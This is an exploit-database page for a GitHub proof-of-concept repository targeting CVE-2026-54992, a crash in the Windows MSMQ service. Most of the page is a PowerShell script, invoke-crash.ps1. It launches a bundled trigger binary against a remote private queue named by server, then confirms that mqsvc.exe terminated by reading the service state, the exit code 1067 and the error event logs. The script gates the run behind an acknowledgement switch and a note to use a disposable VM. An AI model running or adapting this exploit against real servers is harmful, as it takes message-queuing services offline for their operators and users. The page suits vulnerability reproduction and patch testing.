Exploit database

GH-e52eb9f464d63aae710fc3c0c9b25c17

davidcarliez/cve-2026-54992-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-54992

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files13
davidcarliez/cve-2026-54992-pocRevision 58d561e07d9a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

invoke-crash.ps1

Suggested starting filePowerShell · 1,915 bytes
[CmdletBinding()]
param(
    [Parameter(Mandatory = $true)]
    [ValidateNotNullOrEmpty()]
    [string]$Server,

    [string]$Queue = 'cve54992',

    [switch]$IUnderstandThisWillCrashMSMQ
)

$ErrorActionPreference = 'Stop'
if (-not $IUnderstandThisWillCrashMSMQ) {
    throw 'Rerun with -IUnderstandThisWillCrashMSMQ on a disposable VM snapshot.'
}

$trigger = Join-Path $PSScriptRoot 'remote_read_trigger.exe'
if (-not (Test-Path $trigger)) {
    throw "Missing $trigger. Build the PoC or use the supplied binary."
}

$service = Get-CimInstance Win32_Service | Where-Object Name -eq 'MSMQ'
if ($service.State -ne 'Running') {
    throw 'The MSMQ service is not running. Run setup-target.ps1 from an elevated shell first.'
}

$formatName = 'DIRECT=OS:' + $Server + '\private$\' + $Queue
$before = Get-Date

Write-Warning 'The target MSMQ service is expected to crash.'
Write-Host "[*] Target build: $([Environment]::OSVersion.Version)"
Write-Host "[*] MSMQ PID before: $($service.ProcessId)"
Write-Host "[*] Remote format name: $formatName"

& $trigger $formatName
$clientExit = $LASTEXITCODE
Start-Sleep -Seconds 8

$after = Get-CimInstance Win32_Service | Where-Object Name -eq 'MSMQ'
$events = Get-WinEvent -FilterHashtable @{LogName='Application'; StartTime=$before} `
    -ErrorAction SilentlyContinue |
    Where-Object ProviderName -in @('Application Error', 'Windows Error Reporting') |
    Select-Object -First 4 TimeCreated, Id, ProviderName, Message

Write-Host "[*] Trigger exit: $clientExit"
Write-Host "[*] MSMQ state after: $($after.State), service exit $($after.ExitCode)"
$events | Format-List

if ($service.State -eq 'Running' -and $after.State -eq 'Stopped' -and $after.ExitCode -eq 1067) {
    Write-Host '[+] Reproduced: mqsvc.exe terminated and MSMQ stopped with exit 1067.' -ForegroundColor Green
    exit 0
}

Write-Warning 'The expected service crash was not observed in this run.'
exit 1